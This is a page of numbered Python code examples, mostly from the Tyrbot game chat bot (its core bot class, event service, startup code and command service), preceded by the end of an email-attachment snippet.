                        # Obtenemos su mimetype.
                        mimetype, encoding = mimetypes.guess_type(filename)
                        if mimetype is None or encoding is not None:
                            mimetype = "application/octet-stream"
                        maintype, subtype = mimetype.split("/", 1)
                        # Construimos el part correspondiente al adjunto en base al mimetype.
                        if maintype == "text":
                            part = MIMEText(content, _subtype=subtype)
                        elif maintype == "image":
                            part = MIMEImage(content, _subtype=subtype)
                        elif maintype == "audio":
                            part = MIMEAudio(content, _subtype=subtype)
                        else:
                            part = MIMEBase(maintype, subtype)
                            part.set_payload(content)
                        part.add_header("Content-Disposition", "attachment", filename=filename)
                        # Añadimos el part del adjunto al principal.
                        message.attach(part)
                Logger.info("Appending the headers...")
                # Añadimos las cabeceras comunes.
                message["Subject"] = self.subject
                message["From"] = self.from_address
                message["To"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.to_recipients])
                message["Cc"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.cc_recipients])
                message["Bcc"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.bcc_recipients])
                Logger.info(u"Final from:{}".format(message["From"]))
                # Si existen otras cabeceras.
                if len(self.headers) > 0:
                    # Las añadimos al part principal.
                    for key, value in self.headers:
                        message[key] = value
                Logger.info("Message generated successfully")
                Logger.info("The message: {}".format(message))

            except Exception as e:
                Logger.error(e)
                raise e
            return message
Example #33
0
class Tyrbot:
    CONNECT_EVENT = "connect"
    PRIVATE_MSG_EVENT = "private_msg"

    def __init__(self):
        super().__init__()
        self.logger = Logger(__name__)
        self.ready = False
        self.packet_handlers = {}
        self.superadmin = None
        self.status: BotStatus = BotStatus.SHUTDOWN
        self.dimension = None
        self.last_timer_event = 0
        self.start_time = int(time.time())
        self.version = "0.7-beta"
        self.incoming_queue = FifoQueue()
        self.mass_message_queue = None
        self.conns = DictObject()
        self.primary_conn_id = None

    def inject(self, registry):
        self.db = registry.get_instance("db")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.public_channel_service: PublicChannelService = registry.get_instance(
            "public_channel_service")
        self.text: Text = registry.get_instance("text")
        self.setting_service: SettingService = registry.get_instance(
            "setting_service")
        self.access_service: AccessService = registry.get_instance(
            "access_service")
        self.event_service = registry.get_instance("event_service")
        self.job_scheduler = registry.get_instance("job_scheduler")

    def init(self, config, registry, mmdb_parser):
        self.mmdb_parser = mmdb_parser
        self.superadmin = config.superadmin.capitalize()
        self.dimension = config.server.dimension

        self.db.exec(
            "CREATE TABLE IF NOT EXISTS command_config (command VARCHAR(50) NOT NULL, sub_command VARCHAR(50) NOT NULL, access_level VARCHAR(50) NOT NULL, channel VARCHAR(50) NOT NULL, "
            "module VARCHAR(50) NOT NULL, enabled SMALLINT NOT NULL, verified SMALLINT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS event_config (event_type VARCHAR(50) NOT NULL, event_sub_type VARCHAR(50) NOT NULL, handler VARCHAR(255) NOT NULL, description VARCHAR(255) NOT NULL, "
            "module VARCHAR(50) NOT NULL, enabled SMALLINT NOT NULL, verified SMALLINT NOT NULL, is_hidden SMALLINT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS timer_event (event_type VARCHAR(50) NOT NULL, event_sub_type VARCHAR(50) NOT NULL, handler VARCHAR(255) NOT NULL, next_run INT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS setting (name VARCHAR(50) NOT NULL, value VARCHAR(255) NOT NULL, description VARCHAR(255) NOT NULL, module VARCHAR(50) NOT NULL, verified SMALLINT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS command_alias (alias VARCHAR(50) NOT NULL, command VARCHAR(1024) NOT NULL, enabled SMALLINT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS command_usage (command VARCHAR(255) NOT NULL, handler VARCHAR(255) NOT NULL, char_id INT NOT NULL, channel VARCHAR(20) NOT NULL, created_at INT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS ban_list (char_id INT NOT NULL, sender_char_id INT NOT NULL, created_at INT NOT NULL, finished_at INT NOT NULL, reason VARCHAR(255) NOT NULL, ended_early SMALLINT NOT NULL)"
        )

        self.db.exec("UPDATE db_version SET verified = 0")
        self.db.exec(
            "UPDATE db_version SET verified = 1 WHERE file = 'db_version'")

        # prepare commands, events, and settings
        self.db.exec("UPDATE command_config SET verified = 0")
        self.db.exec("UPDATE event_config SET verified = 0")
        self.db.exec("UPDATE setting SET verified = 0")

        with self.db.transaction():
            registry.pre_start_all()
            registry.start_all()

        # remove commands, events, and settings that are no longer registered
        self.db.exec("DELETE FROM db_version WHERE verified = 0")
        self.db.exec("DELETE FROM command_config WHERE verified = 0")
        self.db.exec("DELETE FROM event_config WHERE verified = 0")
        self.db.exec(
            "DELETE FROM timer_event WHERE handler NOT IN (SELECT handler FROM event_config WHERE event_type = ?)",
            ["timer"])
        self.db.exec("DELETE FROM setting WHERE verified = 0")

        self.status = BotStatus.RUN

    def pre_start(self):
        self.access_service.register_access_level("superadmin", 10,
                                                  self.check_superadmin)
        self.event_service.register_event_type(self.CONNECT_EVENT)
        self.event_service.register_event_type(self.PRIVATE_MSG_EVENT)

    def start(self):
        self.setting_service.register(
            "core.system", "symbol", "!",
            TextSettingType(["!", "#", "*", "@", "$", "+", "-"]),
            "Symbol for executing bot commands")

        self.setting_service.register(
            "core.system", "org_channel_max_page_length", 7500,
            NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]),
            "Maximum size of blobs in org channel")
        self.setting_service.register(
            "core.system", "private_message_max_page_length", 7500,
            NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]),
            "Maximum size of blobs in private messages")
        self.setting_service.register(
            "core.system", "private_channel_max_page_length", 7500,
            NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]),
            "Maximum size of blobs in private channel")

        self.setting_service.register(
            "core.system", "accept_commands_from_slave_bots", False,
            BooleanSettingType(),
            "Accept and respond to commands sent to slave bots (only applies if you have added slave bots in the config)"
        )

        self.setting_service.register("core.colors", "header_color", "#FFFF00",
                                      ColorSettingType(), "Color for headers")
        self.setting_service.register("core.colors", "header2_color",
                                      "#FCA712", ColorSettingType(),
                                      "Color for sub-headers")
        self.setting_service.register("core.colors", "highlight_color",
                                      "#00BFFF", ColorSettingType(),
                                      "Color for highlight")
        self.setting_service.register("core.colors", "notice_color", "#FF8C00",
                                      ColorSettingType(),
                                      "Color for important notices")

        self.setting_service.register("core.colors", "neutral_color",
                                      "#E6E1A6", ColorSettingType(),
                                      "Color for neutral faction")
        self.setting_service.register("core.colors", "omni_color", "#FA8484",
                                      ColorSettingType(),
                                      "Color for omni faction")
        self.setting_service.register("core.colors", "clan_color", "#F79410",
                                      ColorSettingType(),
                                      "Color for clan faction")
        self.setting_service.register("core.colors", "unknown_color",
                                      "#FF0000", ColorSettingType(),
                                      "Color for unknown faction")

        self.setting_service.register("core.colors", "org_channel_color",
                                      "#89D2E8", ColorSettingType(),
                                      "Default org channel color")
        self.setting_service.register("core.colors", "private_channel_color",
                                      "#89D2E8", ColorSettingType(),
                                      "Default private channel color")
        self.setting_service.register("core.colors", "private_message_color",
                                      "#89D2E8", ColorSettingType(),
                                      "Default private message color")
        self.setting_service.register("core.colors", "blob_color", "#FFFFFF",
                                      ColorSettingType(),
                                      "Default blob content color")

        self.register_packet_handler(server_packets.PrivateMessage.id,
                                     self.handle_private_message,
                                     priority=40)

    def check_superadmin(self, char_id):
        char_name = self.character_service.resolve_char_to_name(char_id)
        return char_name == self.superadmin

    def connect(self, config):
        for i, bot in enumerate(config.bots):
            if "id" in bot:
                _id = bot.id
            else:
                _id = "bot" + str(i)

            if i == 0:
                self.primary_conn_id = _id

            conn = self.create_conn(_id)
            conn.connect(config.server.host, config.server.port)

            # only create the mass_message_queue if there is at least 1 non-main bot
            if not bot.is_main and not self.mass_message_queue:
                self.mass_message_queue = FifoQueue()

            packet = conn.login(bot.username,
                                bot.password,
                                bot.character,
                                is_main=bot.is_main)
            if not packet:
                self.status = BotStatus.ERROR
                return False
            else:
                self.incoming_queue.put((conn, packet))

            self.create_conn_thread(
                conn, None if bot.is_main else self.mass_message_queue)

        return True

    def create_conn_thread(self, conn: Conn, mass_message_queue=None):
        def read_packets():
            try:
                while self.status == BotStatus.RUN:
                    packet = conn.read_packet(1)
                    if packet:
                        self.incoming_queue.put((conn, packet))

                    while mass_message_queue and not mass_message_queue.empty(
                    ) and conn.packet_queue.is_empty():
                        packet = mass_message_queue.get_or_default(block=False)
                        if packet:
                            conn.add_packet_to_queue(packet)

            except (EOFError, OSError) as e:
                self.status = BotStatus.ERROR
                self.logger.error("", e)
                raise e

        dthread = threading.Thread(target=read_packets, daemon=True)
        dthread.start()

    def create_conn(self, _id):
        if _id in self.conns:
            raise Exception(f"A connection with id {_id} already exists")

        def failure_callback():
            self.status = BotStatus.ERROR

        conn = Conn(_id, failure_callback)
        self.conns[_id] = conn
        return conn

    def disconnect(self):
        # wait for all threads to stop reading packets, then disconnect them all
        time.sleep(2)
        for _id, conn in self.get_conns():
            conn.disconnect()

    def run(self):
        start = time.time()

        # wait for flood of packets from login to stop sending
        time_waited = 0
        while time_waited < 2:
            if not self.iterate(1):
                time_waited += 1

        self.logger.info("Login complete (%fs)" % (time.time() - start))

        start = time.time()
        self.event_service.fire_event("connect", None)
        self.event_service.run_timer_events_at_startup()
        self.event_service.check_for_timer_events(int(start))
        self.logger.info("Connect events finished (%fs)" %
                         (time.time() - start))

        time_waited = 0
        while time_waited < 2:
            if not self.iterate(1):
                time_waited += 1

        self.ready = True
        timestamp = int(time.time())

        while self.status == BotStatus.RUN:
            try:
                timestamp = int(time.time())
                self.check_for_timer_events(timestamp)

                self.iterate()
            except Exception as e:
                self.logger.error("", e)

        # run any pending jobs/events
        self.check_for_timer_events(timestamp + 1)

        return self.status

    def check_for_timer_events(self, timestamp):
        # timer events will execute no more often than once per second
        if self.last_timer_event < timestamp:
            self.last_timer_event = timestamp
            self.job_scheduler.check_for_scheduled_jobs(timestamp)
            self.event_service.check_for_timer_events(timestamp)

    def register_packet_handler(self, packet_id: int, handler, priority=50):
        """
        Call during pre_start

        Args:
            packet_id: int
            handler: (conn, packet) -> void
            priority: int
        """

        if len(inspect.signature(handler).parameters) != 2:
            raise Exception(
                "Incorrect number of arguments for handler '%s.%s()'" %
                (handler.__module__, handler.__name__))

        handlers = self.packet_handlers.get(packet_id, [])
        handlers.append(DictObject({"priority": priority, "handler": handler}))
        self.packet_handlers[packet_id] = sorted(handlers,
                                                 key=lambda x: x.priority)

    def remove_packet_handler(self, packet_id, handler):
        handlers = self.packet_handlers.get(packet_id, [])
        for h in handlers:
            if h.handler == handler:
                handlers.remove(h)

    def iterate(self, timeout=0.1):
        conn, packet = self.incoming_queue.get_or_default(block=True,
                                                          timeout=timeout,
                                                          default=(None, None))
        if packet:
            if isinstance(packet, server_packets.SystemMessage):
                packet = self.system_message_ext_msg_handling(packet)
                self.logger.log_chat(conn, "SystemMessage", None,
                                     packet.extended_message.get_message())
            elif isinstance(packet, server_packets.PublicChannelMessage):
                packet = self.public_channel_message_ext_msg_handling(packet)
            elif isinstance(packet,
                            server_packets.BuddyAdded) and packet.char_id == 0:
                return

            for handler in self.packet_handlers.get(packet.id, []):
                handler.handler(conn, packet)

        return packet

    def public_channel_message_ext_msg_handling(
            self, packet: server_packets.PublicChannelMessage):
        msg = packet.message
        if msg.startswith("~&") and msg.endswith("~"):
            try:
                msg = msg[2:-1].encode("utf-8")
                category_id = self.mmdb_parser.read_base_85(msg[0:5])
                instance_id = self.mmdb_parser.read_base_85(msg[5:10])
                template = self.mmdb_parser.get_message_string(
                    category_id, instance_id)
                params = self.mmdb_parser.parse_params(msg[10:])
                packet.extended_message = ExtendedMessage(
                    category_id, instance_id, template, params)
            except Exception as e:
                self.logger.error(
                    "Error handling extended message for packet: " +
                    str(packet), e)

        return packet

    def system_message_ext_msg_handling(self,
                                        packet: server_packets.SystemMessage):
        try:
            category_id = 20000
            instance_id = packet.message_id
            template = self.mmdb_parser.get_message_string(
                category_id, instance_id)
            params = self.mmdb_parser.parse_params(packet.message_args)
            packet.extended_message = ExtendedMessage(category_id, instance_id,
                                                      template, params)
        except Exception as e:
            self.logger.error(
                "Error handling extended message: " + str(packet), e)

        return packet

    def send_org_message(self, msg, add_color=True, conn=None):
        if not conn:
            conn = self.get_primary_conn()

        if not conn.org_channel_id:
            self.logger.debug(
                f"Ignoring message to org channel for {conn.id} since the org_channel_id is unknown"
            )
        else:
            color = self.setting_service.get(
                "org_channel_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(
                msg, conn,
                self.setting_service.get(
                    "org_channel_max_page_length").get_value())
            for page in pages:
                packet = client_packets.PublicChannelMessage(
                    conn.org_channel_id, color + page, "")
                conn.add_packet_to_queue(packet)

    def send_private_message(self, char_id, msg, add_color=True, conn=None):
        if not conn:
            conn = self.get_primary_conn()

        if char_id is None:
            raise Exception("Cannot send message, char_id is empty")
        else:
            color = self.setting_service.get(
                "private_message_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(
                msg, conn,
                self.setting_service.get(
                    "private_message_max_page_length").get_value())
            for page in pages:
                self.logger.log_tell(
                    conn, "To", self.character_service.get_char_name(char_id),
                    page)
                packet = client_packets.PrivateMessage(char_id, color + page,
                                                       "\0")
                conn.add_packet_to_queue(packet)

    def send_private_channel_message(self,
                                     msg,
                                     private_channel_id=None,
                                     add_color=True,
                                     conn=None):
        if not conn:
            conn = self.get_primary_conn()

        if private_channel_id is None:
            private_channel_id = conn.get_char_id()

        color = self.setting_service.get(
            "private_channel_color").get_font_color() if add_color else ""
        pages = self.get_text_pages(
            msg, conn,
            self.setting_service.get(
                "private_channel_max_page_length").get_value())
        for page in pages:
            packet = client_packets.PrivateChannelMessage(
                private_channel_id, color + page, "\0")
            conn.send_packet(packet)

    def send_mass_message(self, char_id, msg, add_color=True, conn=None):
        if not conn:
            conn = self.get_primary_conn()

        if not char_id:
            self.logger.warning("Could not send message to empty char_id")
        else:
            color = self.setting_service.get(
                "private_message_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(
                msg, conn,
                self.setting_service.get(
                    "private_message_max_page_length").get_value())
            for page in pages:
                if self.mass_message_queue:
                    packet = client_packets.PrivateMessage(
                        char_id, color + page, "\0")
                    self.mass_message_queue.put(packet)
                else:
                    packet = client_packets.PrivateMessage(
                        char_id, color + page, "spam")
                    self.get_primary_conn().send_packet(packet)

    def send_message_to_other_org_channels(self, msg, from_conn: Conn):
        for _id, conn in self.get_conns(
                lambda x: x.is_main and x.org_id and x != from_conn):
            self.send_org_message(msg, conn=conn)

    def handle_private_message(self, conn: Conn,
                               packet: server_packets.PrivateMessage):
        char_name = self.character_service.get_char_name(packet.char_id)
        self.logger.log_tell(conn, "From", char_name, packet.message)
        self.event_service.fire_event(
            self.PRIVATE_MSG_EVENT,
            DictObject({
                "char_id": packet.char_id,
                "name": char_name,
                "message": packet.message,
                "conn": conn
            }))

    def get_text_pages(self, msg, conn, max_page_length):
        if isinstance(msg, ChatBlob):
            return self.text.paginate(msg,
                                      conn,
                                      max_page_length=max_page_length)
        else:
            return [self.text.format_message(msg, conn)]

    def is_ready(self):
        return self.ready

    def shutdown(self):
        self.status = BotStatus.SHUTDOWN

    def restart(self):
        self.status = BotStatus.RESTART

    def get_primary_conn_id(self):
        return self.primary_conn_id

    def get_primary_conn(self):
        return self.conns[self.get_primary_conn_id()]

    def get_conn_by_char_id(self, char_id):
        for _id, conn in self.get_conns():
            if char_id == conn.get_char_id():
                return conn
        return None

    def get_conn_by_org_id(self, org_id):
        for _id, conn in self.get_conns():
            if conn.org_id == org_id:
                return conn
        return None

    # placeholder to keep track of things that need to be fixed/updated
    def get_temp_conn(self):
        return self.get_primary_conn()

    def get_conns(self, conn_filter=None):
        if conn_filter:
            return [(_id, conn) for _id, conn in self.conns.items()
                    if conn_filter(conn)]
        else:
            return self.conns.items()
Example #34
0
class EventService:
    def __init__(self):
        self.handlers = {}
        self.logger = Logger(__name__)
        self.event_types = []
        self.db_cache = {}

    def inject(self, registry):
        self.db = registry.get_instance("db")
        self.util = registry.get_instance("util")

    def pre_start(self):
        self.register_event_type("timer")

    def start(self):
        # process decorators
        for _, inst in Registry.get_all_instances().items():
            for name, method in get_attrs(inst).items():
                if hasattr(method, "event"):
                    attrs = getattr(method, "event")
                    handler = getattr(inst, name)
                    self.register(handler, attrs.event_type, attrs.description,
                                  inst.module_name, attrs.is_hidden,
                                  attrs.is_enabled)

    def register_event_type(self, event_type):
        """
        Call during pre_start

        Args:
            event_type (str)
        """

        event_type = event_type.lower()

        if event_type in self.event_types:
            self.logger.error(
                "Could not register event type '%s': event type already registered"
                % event_type)
            return

        self.logger.debug("Registering event type '%s'" % event_type)
        self.event_types.append(event_type)

    def is_event_type(self, event_base_type):
        return event_base_type in self.event_types

    def register(self, handler, event_type, description, module, is_hidden,
                 is_enabled):
        """
        Call during pre_start

        Args:
            handler: (event_type, event_data) -> void
            event_type: str
            description: str
            module: str
            is_hidden: bool
            is_enabled: bool
        """

        if len(inspect.signature(handler).parameters) != 2:
            raise Exception(
                "Incorrect number of arguments for handler '%s.%s()'" %
                (handler.__module__, handler.__name__))

        event_base_type, event_sub_type = self.get_event_type_parts(event_type)
        module = module.lower()
        handler_name = self.util.get_handler_name(handler)
        is_hidden = 1 if is_hidden else 0
        is_enabled = 1 if is_enabled else 0

        if event_base_type not in self.event_types:
            self.logger.error(
                "Could not register handler '%s' for event type '%s': event type does not exist"
                % (handler_name, event_type))
            return

        if not description:
            self.logger.warning(
                "No description for event_type '%s' and handler '%s'" %
                (event_type, handler_name))

        row = self.db.query_single(
            "SELECT 1 FROM event_config WHERE event_type = ? AND handler = ?",
            [event_base_type, handler_name])

        if row is None:
            # add new event commands
            self.db.exec(
                "INSERT INTO event_config (event_type, event_sub_type, handler, description, module, enabled, verified, is_hidden) VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
                [
                    event_base_type, event_sub_type, handler_name, description,
                    module, is_enabled, 1, is_hidden
                ])

            if event_base_type == "timer":
                self.db.exec(
                    "INSERT INTO timer_event (event_type, event_sub_type, handler, next_run) VALUES (?, ?, ?, ?)",
                    [
                        event_base_type, event_sub_type, handler_name,
                        int(time.time())
                    ])
        else:
            # mark command as verified
            self.db.exec(
                "UPDATE event_config SET verified = ?, module = ?, description = ?, event_sub_type = ?, is_hidden = ? WHERE event_type = ? AND handler = ?",
                [
                    1, module, description, event_sub_type, is_hidden,
                    event_base_type, handler_name
                ])

            if event_base_type == "timer":
                self.db.exec(
                    "UPDATE timer_event SET event_sub_type = ? WHERE event_type = ? AND handler = ?",
                    [event_sub_type, event_base_type, handler_name])

        # load command handler
        self.handlers[handler_name] = handler

    def fire_event(self, event_type, event_data=None):
        event_base_type, event_sub_type = self.get_event_type_parts(event_type)

        if event_base_type not in self.event_types:
            self.logger.error(
                "Could not fire event type '%s': event type does not exist" %
                event_type)
            return

        data = self.get_handlers(event_base_type, event_sub_type)
        for row in data:
            self.call_handler(row.handler, event_type, event_data)

    def call_handler(self, handler_method, event_type, event_data):
        handler = self.handlers.get(handler_method, None)
        if not handler:
            self.logger.error(
                "Could not find handler callback for event type '%s' and handler '%s'"
                % (event_type, handler_method))
            return

        try:
            handler(event_type, event_data)
        except Exception as e:
            self.logger.error("error processing event '%s'" % event_type, e)

    def get_event_type_parts(self, event_type):
        parts = event_type.lower().split(":", 1)
        if len(parts) == 2:
            return parts[0], parts[1]
        else:
            return parts[0], ""

    def get_event_type_key(self, event_base_type, event_sub_type):
        return event_base_type + ":" + event_sub_type

    def check_for_timer_events(self, current_timestamp):
        data = self.db.query(
            "SELECT e.event_type, e.event_sub_type, e.handler, t.next_run FROM timer_event t "
            "JOIN event_config e ON t.event_type = e.event_type AND t.handler = e.handler "
            "WHERE t.next_run <= ? AND e.enabled = 1", [current_timestamp])
        for row in data:
            self.execute_timed_event(row, current_timestamp)

    def execute_timed_event(self, row, current_timestamp):
        event_type_key = self.get_event_type_key(row.event_type,
                                                 row.event_sub_type)

        # timer event run times should be consistent, so we base the next run time off the last run time,
        # instead of the current timestamp
        next_run = row.next_run + int(row.event_sub_type)

        # prevents timer events from getting too far behind, or having a large "catch-up" after
        # the bot has been offline for a time
        if next_run < current_timestamp:
            next_run = current_timestamp + int(row.event_sub_type)

        with self.db.transaction():
            self.db.exec(
                "UPDATE timer_event SET next_run = ? WHERE event_type = ? AND handler = ?",
                [next_run, row.event_type, row.handler])

        self.call_handler(row.handler, event_type_key, None)

    def update_event_status(self, event_base_type, event_sub_type,
                            event_handler, enabled_status):
        # clear cache
        self.db_cache[event_base_type + ":" + event_sub_type] = None

        return self.db.exec(
            "UPDATE event_config SET enabled = ? WHERE event_type = ? AND event_sub_type = ? AND handler LIKE ?",
            [enabled_status, event_base_type, event_sub_type, event_handler])

    def get_event_types(self):
        return self.event_types

    def get_handlers(self, event_base_type, event_sub_type):
        # check first in cache
        result = self.db_cache.get(event_base_type + ":" + event_sub_type,
                                   None)
        if result is not None:
            return result
        else:
            result = self.db.query(
                "SELECT handler FROM event_config WHERE event_type = ? AND event_sub_type = ? AND enabled = 1",
                [event_base_type, event_sub_type])

            # store result in cache
            self.db_cache[event_base_type + ":" + event_sub_type] = result

            return result

    def run_timer_events_at_startup(self):
        t = int(time.time())
        data = self.db.query(
            "SELECT e.event_type, e.event_sub_type, e.handler, t.next_run FROM timer_event t "
            "JOIN event_config e ON t.event_type = e.event_type AND t.handler = e.handler "
            "WHERE e.event_type = ? AND e.enabled = 1", ["timer"])
        for row in data:
            handler = self.handlers[row.handler]
            attrs = getattr(handler, "event")
            if attrs.get("run_at_startup", False):
                self.execute_timed_event(row, t)
Example #35
0
    if config.database.type == "sqlite":
        db.connect_sqlite("./data/" + config.database.name)
    elif config.database.type == "mysql":
        db.connect_mysql(config.database.host, config.database.username,
                         config.database.password, config.database.name)
    else:
        raise Exception("Unknown database type '%s'" % config.database.type)

    # run db upgrade scripts
    import upgrade

    # finish initializing bot and modules, and then connect
    bot = Registry.get_instance("bot")
    bot.init(config, Registry, paths, MMDBParser("text.mdb"))
    bot.connect(config.server.host, config.server.port)

    if not bot.login(config.username, config.password, config.character):
        bot.disconnect()
        time.sleep(5)
        exit(3)
    else:
        status = bot.run()
        bot.disconnect()
        exit(status.value)
except KeyboardInterrupt:
    exit(0)
except Exception as e:
    logger = Logger("bootstrap")
    logger.error("", e)
    exit(4)
Example #36
0
class CommandService:
    PRIVATE_CHANNEL = "priv"
    ORG_CHANNEL = "org"
    PRIVATE_MESSAGE = "msg"

    def __init__(self):
        self.handlers = collections.defaultdict(list)
        self.logger = Logger(__name__)
        self.channels = {}
        self.ignore_regexes = [
            re.compile(" is AFK \(Away from keyboard\) since ", re.IGNORECASE),
            re.compile("I am away from my keyboard right now", re.IGNORECASE),
            re.compile("Unknown command or access denied!", re.IGNORECASE),
            re.compile("I am responding", re.IGNORECASE),
            re.compile("I only listen", re.IGNORECASE),
            re.compile("Error!", re.IGNORECASE),
            re.compile("Unknown command input", re.IGNORECASE),
            re.compile("You have been auto invited", re.IGNORECASE),
        ]

    def inject(self, registry):
        self.db = registry.get_instance("db")
        self.util = registry.get_instance("util")
        self.access_service: AccessService = registry.get_instance(
            "access_service")
        self.bot: Tyrbot = registry.get_instance("bot")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.setting_service: SettingService = registry.get_instance(
            "setting_service")
        self.command_alias_service = registry.get_instance(
            "command_alias_service")
        self.usage_service = registry.get_instance("usage_service")
        self.public_channel_service = registry.get_instance(
            "public_channel_service")
        self.ban_service = registry.get_instance("ban_service")

    def pre_start(self):
        self.bot.add_packet_handler(server_packets.PrivateMessage.id,
                                    self.handle_private_message)
        self.bot.add_packet_handler(server_packets.PrivateChannelMessage.id,
                                    self.handle_private_channel_message)
        self.bot.add_packet_handler(server_packets.PublicChannelMessage.id,
                                    self.handle_public_channel_message)
        self.register_command_channel("Private Message", self.PRIVATE_MESSAGE)
        self.register_command_channel("Org Channel", self.ORG_CHANNEL)
        self.register_command_channel("Private Channel", self.PRIVATE_CHANNEL)

    def start(self):
        # process decorators
        for _, inst in Registry.get_all_instances().items():
            for name, method in get_attrs(inst).items():
                if hasattr(method, "command"):
                    cmd_name, params, access_level, description, help_file, sub_command, extended_description, check_access, aliases = getattr(
                        method, "command")
                    handler = getattr(inst, name)
                    module = self.util.get_module_name(handler)
                    help_text = self.get_help_file(module, help_file)
                    self.register(handler, cmd_name, params, access_level,
                                  description, module, help_text, sub_command,
                                  extended_description, check_access)
                    if len(inspect.signature(
                            handler).parameters) != len(params) + 1:
                        raise Exception(
                            "Incorrect number of arguments for handler '%s.%s()'"
                            % (handler.__module__, handler.__name__))

                    if aliases:
                        for alias in aliases:
                            self.command_alias_service.add_alias(
                                alias, cmd_name)

    def register(self,
                 handler,
                 command,
                 params,
                 access_level,
                 description,
                 module,
                 help_text=None,
                 sub_command=None,
                 extended_description=None,
                 check_access=None):
        command = command.lower()
        if sub_command:
            sub_command = sub_command.lower()
        else:
            sub_command = ""
        access_level = access_level.lower()
        module = module.lower()
        command_key = self.get_command_key(command, sub_command)

        if help_text is None:
            help_text = self.generate_help(command, description, params,
                                           extended_description)

        if check_access is None:
            check_access = self.access_service.check_access

        if not self.access_service.get_access_level_by_label(access_level):
            self.logger.error(
                "Could not add command '%s': could not find access level '%s'"
                % (command, access_level))
            return

        for channel, label in self.channels.items():
            row = self.db.query_single(
                "SELECT access_level, module, enabled, verified "
                "FROM command_config "
                "WHERE command = ? AND sub_command = ? AND channel = ?",
                [command, sub_command, channel])

            if row is None:
                # add new command commands
                self.db.exec(
                    "INSERT INTO command_config "
                    "(command, sub_command, access_level, channel, module, enabled, verified) "
                    "VALUES (?, ?, ?, ?, ?, 1, 1)",
                    [command, sub_command, access_level, channel, module])
            elif row.verified:
                if row.module != module:
                    self.logger.warning(
                        "module different for different forms of command '%s' and sub_command '%s'"
                        % (command, sub_command))
            else:
                # mark command as verified
                self.db.exec(
                    "UPDATE command_config SET verified = 1, module = ? "
                    "WHERE command = ? AND sub_command = ? AND channel = ?",
                    [module, command, sub_command, channel])

        # save reference to command handler
        r = re.compile(self.get_regex_from_params(params),
                       re.IGNORECASE | re.DOTALL)
        self.handlers[command_key].append({
            "regex": r,
            "callback": handler,
            "help": help_text,
            "description": description,
            "params": params,
            "check_access": check_access
        })

    def register_command_channel(self, label, value):
        if value in self.channels:
            self.logger.error(
                "Could not register command channel '%s': command channel already registered"
                % value)
            return

        self.logger.debug("Registering command channel '%s'" % value)
        self.channels[value] = label

    def is_command_channel(self, channel):
        return channel in self.channels

    def process_command(self, message: str, channel: str, char_id, reply):
        try:
            if self.ban_service.get_ban(char_id):
                # do nothing if character is banned
                self.logger.info(
                    "ignored banned character %d for command '%s'" %
                    (char_id, message))
                return

            message = html.unescape(message)

            command_str, command_args = self.get_command_parts(message)

            # check for command alias
            command_alias = self.command_alias_service.check_for_alias(
                command_str)

            if command_alias:
                command_str, command_args = self.get_command_parts(
                    command_alias + command_args)

            cmd_configs = self.get_command_configs(command_str, channel, 1)
            if cmd_configs:
                # given a list of cmd_configs that are enabled, see if one has regex that matches incoming command_str
                cmd_config, matches, handler = self.get_matches(
                    cmd_configs, command_args)
                if matches:
                    if handler["check_access"](char_id,
                                               cmd_config.access_level):
                        sender = SenderObj(
                            char_id,
                            self.character_service.resolve_char_to_name(
                                char_id, "Unknown(%d)" % char_id))
                        response = handler["callback"](
                            CommandRequest(channel, sender, reply),
                            *self.process_matches(matches, handler["params"]))
                        if response is not None:
                            reply(response)

                        # record command usage
                        self.usage_service.add_usage(
                            command_str, handler["callback"].__qualname__,
                            char_id, channel)
                    else:
                        self.access_denied_response(char_id, cmd_config, reply)
                else:
                    # handlers were found, but no handler regex matched
                    help_text = self.get_help_text(char_id, command_str,
                                                   channel)
                    if help_text:
                        reply(self.format_help_text(command_str, help_text))
                    else:
                        reply("Error! Invalid syntax.")
            else:
                reply("Error! Unknown command <highlight>%s<end>." %
                      command_str)
        except Exception as e:
            self.logger.error("error processing command: %s" % message, e)
            reply("There was an error processing your request.")

    def access_denied_response(self, char_id, cmd_config, reply):
        reply("Error! Access denied.")

    def get_command_parts(self, message):
        parts = message.split(" ", 1)
        if len(parts) == 2:
            return parts[0].lower(), " " + parts[1]
        else:
            return parts[0].lower(), ""

    def get_command_configs(self,
                            command,
                            channel=None,
                            enabled=1,
                            sub_command=None):
        sql = "SELECT command, sub_command, access_level, enabled FROM command_config WHERE command = ?"
        params = [command]
        if channel:
            sql += " AND channel = ?"
            params.append(channel)
        if enabled:
            sql += " AND enabled = ?"
            params.append(enabled)
        if sub_command:
            sql += " AND sub_command = ?"
            params.append(sub_command)

        sql += " ORDER BY sub_command, channel"

        return self.db.query(sql, params)

    def get_matches(self, cmd_configs, command_args):
        for row in cmd_configs:
            command_key = self.get_command_key(row.command, row.sub_command)
            handlers = self.handlers[command_key]
            for handler in handlers:
                # add leading space to search string to normalize input for command params
                matches = handler["regex"].search(command_args)
                if matches:
                    return row, matches, handler
        return None, None, None

    def process_matches(self, matches, params):
        groups = list(matches.groups())

        processed = []
        for param in params:
            processed.append(param.process_matches(groups))
        return processed

    def get_help_text(self, char, command_str, channel):
        data = self.db.query(
            "SELECT command, sub_command, access_level FROM command_config "
            "WHERE command = ? AND channel = ? AND enabled = 1",
            [command_str, channel])

        # filter out commands that character does not have access level for
        data = filter(
            lambda row: self.access_service.check_access(
                char, row.access_level), data)

        def read_help_text(row):
            command_key = self.get_command_key(row.command, row.sub_command)
            return filter(
